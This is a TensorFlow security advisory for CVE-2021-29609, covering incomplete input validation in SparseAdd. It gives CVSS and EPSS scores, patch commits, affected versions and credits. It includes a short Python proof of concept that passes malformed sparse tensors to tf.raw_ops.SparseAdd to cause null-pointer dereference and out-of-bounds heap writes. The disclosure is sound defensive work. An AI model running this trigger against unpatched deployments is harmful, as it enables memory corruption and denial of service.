7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.6 Medium
CVSS2
Access Vector
LOCAL
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:L/AC:L/Au:N/C:P/I:P/A:P
0.001 Low
EPSS
Percentile
38.5%
Incomplete validation in SparseAdd
results in allowing attackers to exploit undefined behavior (dereferencing null pointers) as well as write outside of bounds of heap allocated data:
import tensorflow as tf
a_indices = tf.zeros([10, 97], dtype=tf.int64)
a_values = tf.zeros([10], dtype=tf.int64)
a_shape = tf.zeros([0], dtype=tf.int64)
b_indices = tf.zeros([0, 0], dtype=tf.int64)
b_values = tf.zeros([0], dtype=tf.int64)
b_shape = tf.zeros([0], dtype=tf.int64)
thresh = 0
tf.raw_ops.SparseAdd(a_indices=a_indices,
a_values=a_values,
a_shape=a_shape,
b_indices=b_indices,
b_values=b_values,
b_shape=b_shape,
thresh=thresh)
The implementation has a large set of validation for the two sparse tensor inputs (6 tensors in total), but does not validate that the tensors are not empty or that the second dimension of *_indices
matches the size of corresponding *_shape
. This allows attackers to send tensor triples that represent invalid sparse tensors to abuse code assumptions that are not protected by validation.
We have patched the issue in GitHub commit 6fd02f44810754ae7481838b6a67c5df7f909ca3 followed by GitHub commit 41727ff06111117bdf86b37db198217fd7a143cc.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
github.com/advisories/GHSA-cjc7-49v2-jp64
github.com/tensorflow/tensorflow/commit/41727ff06111117bdf86b37db198217fd7a143cc
github.com/tensorflow/tensorflow/commit/6fd02f44810754ae7481838b6a67c5df7f909ca3
github.com/tensorflow/tensorflow/security/advisories/GHSA-cjc7-49v2-jp64
nvd.nist.gov/vuln/detail/CVE-2021-29609
7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.6 Medium
CVSS2
Access Vector
LOCAL
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:L/AC:L/Au:N/C:P/I:P/A:P
0.001 Low
EPSS
Percentile
38.5%